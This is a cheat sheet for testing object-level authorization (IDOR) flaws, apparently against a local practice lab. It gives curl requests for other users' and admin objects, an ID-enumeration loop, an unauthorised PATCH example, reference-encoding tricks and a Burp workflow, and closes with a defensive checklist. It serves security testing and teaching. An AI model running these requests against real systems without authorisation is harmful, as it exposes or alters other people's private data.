Use this as a quick reference while testing object-level authorization.
Object Reference Locations
URL path
Query string
POST form body
JSON body
Cookies
Headers
Hidden form fields
JavaScript variables
API responses
File names
Download tokens
Examples:
GET /users/4
GET /download?id=7
GET /idor/basic?id=3
POST /profile user_id=3
PATCH /api/orders/12
POST /api/report {"owner_id":2}
Test Matrix
Use at least two users or two seeded owners.
operator -> operator object
operator -> alice object
operator -> bob object
operator -> admin object
alice -> operator object
alice -> admin object
Track:
status code
response size
owner shown in response
sensitive fields
write success
delete success
download success
Simple curl Checks
Normal object:
curl -i "http://127.0.0.1:5000/idor/basic?id=2"
Other user's object:
curl -i "http://127.0.0.1:5000/idor/basic?id=3"
Admin object:
curl -i "http://127.0.0.1:5000/idor/basic?id=1"
Compare two IDs:
curl -s "http://127.0.0.1:5000/idor/basic?id=2" -o own.txt
curl -s "http://127.0.0.1:5000/idor/basic?id=3" -o other.txt
wc -c own.txt other.txt
Enumerate IDs:
for i in $(seq 1 20); do
code=$(curl -s -o /tmp/idor-$i.txt -w "%{http_code}" "http://127.0.0.1:5000/idor/basic?id=$i")
size=$(wc -c < /tmp/idor-$i.txt)
echo "$i $code $size"
done
Protection Checks
Weak blacklist:
curl -i "http://127.0.0.1:5000/idor/blacklist?id=1"
curl -i "http://127.0.0.1:5000/idor/blacklist?id=3"
Owner check:
curl -i "http://127.0.0.1:5000/idor/better?id=3"
curl -i "http://127.0.0.1:5000/idor/better?id=999"
Fixed query:
curl -i "http://127.0.0.1:5000/idor/fixed?id=3"
curl -i "http://127.0.0.1:5000/idor/fixed?id=999"
The fixed route should not reveal a useful difference between an object that exists but is forbidden and an object that does not exist.
Encoded References
Base64:
echo -n "10" | base64
echo "MTA=" | base64 -d
Hex:
printf "%x\n" 10
printf "%d\n" 0x0a
MD5-shaped references:
echo -n "10" | md5sum
Encoding is not access control.
API Checks
GET object:
curl -s "http://127.0.0.1:5000/api/users/3"
JSON body:
curl -s \
-H "Content-Type: application/json" \
-d '{"user_id":3}' \
"http://127.0.0.1:5000/api/profile"
Update object:
curl -i \
-X PATCH \
-H "Content-Type: application/json" \
-d '{"title":"changed"}' \
"http://127.0.0.1:5000/api/documents/3"
Burp Workflow
Use Repeater first:
Send request to Repeater
Change only the object ID
Compare status, size, and content
Use Intruder when the pattern is stable:
Mark only the object ID
Use a small numeric range
Sort by status code or length
Review hits manually
Do not treat every 200 as valid access. Confirm object owner and content.
Impact Labels
Horizontal access:
normal user -> another normal user's object
Vertical access:
normal user -> admin object
Read impact:
view document
download file
read profile
read invoice
Write impact:
modify profile
change email
delete document
approve order
reset password
Write impact is usually higher risk than read impact.
Defensive Review
Confirm:
- Every object operation checks ownership or role.
- Authorization is enforced server-side.
- Hidden fields are not trusted.
- IDs in JSON bodies are not trusted.
- UUIDs are treated as references, not permissions.
- Read and write routes use the same authorization model.
- Admin routes check role and object scope.
- Denied object access is logged.